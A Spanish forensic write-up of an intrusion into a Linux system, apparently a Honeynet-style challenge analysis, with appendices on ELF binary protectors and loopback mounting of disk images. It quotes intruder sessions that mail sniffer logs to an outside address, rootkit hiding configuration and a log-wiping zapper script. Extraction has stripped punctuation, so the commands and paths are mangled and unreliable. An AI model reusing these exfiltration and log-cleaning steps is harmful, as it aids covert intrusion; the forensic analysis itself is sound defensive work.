Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

